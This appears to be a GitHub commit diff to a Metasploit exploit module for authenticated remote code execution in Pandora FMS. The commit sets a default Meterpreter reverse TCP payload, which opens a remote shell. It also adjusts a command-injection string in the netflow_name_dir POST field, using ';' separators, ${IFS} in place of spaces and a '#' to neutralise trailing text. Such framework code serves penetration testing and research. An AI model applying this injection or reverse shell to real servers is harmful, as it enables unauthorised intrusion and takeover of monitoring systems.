Skip to content

Commit 0a39f66

Browse files
committed
Fixing payload execution
1 parent 7763798 commit 0a39f66

File tree

1 file changed

+3
-2
lines changed

1 file changed

+3
-2
lines changed

modules/exploits/linux/http/pandora_fms_auth_netflow_rce.rb

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -35,7 +35,8 @@ def initialize(info = {})
3535
'Linux/Unix Command',
3636
{
3737
'Platform' => ['unix', 'linux'],
38-
'Arch' => [ ARCH_CMD]
38+
'Arch' => [ ARCH_CMD],
39+
'Payload' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
3940
}
4041
]
4142
],
@@ -156,7 +157,7 @@ def configure_netflow
156157
'vars_get' => { 'sec' => 'general', 'sec2' => 'godmode/setup/setup', 'section' => 'net' },
157158
'vars_post' =>
158159
{
159-
'netflow_name_dir' => ';' + payload.encoded.gsub(' ', '${IFS}') + ';',
160+
'netflow_name_dir' => ';' + payload.encoded.gsub(' ', '${IFS}') + '#;',
160161
'netflow_daemon' => netflow_daemon_value,
161162
'netflow_nfdump' => netflow_nfdump_value,
162163
'netflow_max_resolution' => netflow_max_resolution_value,

0 commit comments

Comments
 (0)